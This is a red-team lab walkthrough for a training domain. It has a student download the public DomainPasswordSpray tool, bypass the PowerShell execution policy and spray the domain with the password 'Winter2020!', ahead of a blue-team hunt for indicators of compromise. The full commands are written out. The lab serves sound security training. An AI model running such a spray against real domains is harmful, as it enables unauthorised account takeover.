L1140-Red: Domain Password Spray

Lab Contents

Lab Overview

Password sprays are a very common method used for lateral movement. In this lab, the student will execute a password spray against the domain. Once the password spray is completed, the student will search for indicators of compromise.

Lab Overview

Lab Overview

Procure the Domain Password Spray tools and execute the Password Spray. After executing the Password Spray and identifying a valid user account and password, begin the hunt for Indicators of Compromise. While hunting, determine the full scope of the Password Spray attack.

Attack Step One

Procurement of Password Spray Tools

Login to the Member Server, WS01 and download components from GitHub.

Login to Member Server

Connect via Remote Desktop to the Member Server, WS01.

PowerShell

Launch Windows PowerShell from the Windows Start Menu.

Confirm User Context

First, confirm the correct user and system context by using the "whoami" and "hostname" commands.

PowerShell Input

whoami
hostname

PowerShell Output

Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Users\itadmin> whoami
labs\itadmin <------------------------------VERIFY RESULT
PS C:\Users\itadmin> hostname
ws01    <-----------------------------------VERIFY RESULT

If the result of the above commands differs, please confirm you are operating on the correct system and user context.

Download and Prepare Password Spray Tool

We will now use Invoke-WebRequest to download the Domain Password Spray.

Allow TLS 1.2

Allow TLS 1.2 with Invoke-WebRequest, this is necessary as TLS1.2 is disabled by default for Invoke-WebRequest on Windows 2016. The command returns to the PowerShell prompt. This is expected. This change is only persistent for this PowerShell session.

PowerShell Input

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

Download using Invoke-WebRequest

Use Invoke-WebRequest to download the necessary components. Each of these commands will download the package from the URI specified and save it to the filename specified with the -OutFile flag.

PowerShell Input

Invoke-WebRequest –URI "https://github.com/dafthack/DomainPasswordSpray/archive/master.zip" -OutFile "~\Downloads\master.zip"

Expand Tool-set Archive

PowerShell Input

cd ~\Downloads\
Expand-Archive "master.zip"

With the tools now available on the desktop, and a PowerShell session launched in the appropriate folder, move to the next section of the lab to execute the malware.

Attack Step Two

Execute the Domain Password Spray Tools

Login to the Member Server, WS01 and download components from GitHub.

Login to Member Server

Connect via Remote Desktop to the Member Server, WS01.

PowerShell

Launch Windows PowerShell from the Windows Start Menu.

Confirm User Context

First, confirm the correct user and system context by using the "whoami" and "hostname" commands.

PowerShell Input

whoami
hostname

PowerShell Output

Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Users\itadmin> whoami
labs\itadmin <------------------------------VERIFY RESULT
PS C:\Users\itadmin> hostname
ws01    <-----------------------------------VERIFY RESULT

If the result of the above commands differs, please confirm you are operating on the correct system and user context.

Execute Domain Password Spray Tools

The below commands ran in powershell will execute a password spray on the domain environment.

PowerShell Input

cd ~\Downloads\master\DomainPasswordSpray-master
Set-ExecutionPolicy Bypass -Force
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Winter2020! -Force

PowerShell Input

You have successfully procured the Domain Password Spray tool and executed it against the local domain.

Continue on to L1140-Blue to hunt for indicators of compromise.

Lab Complete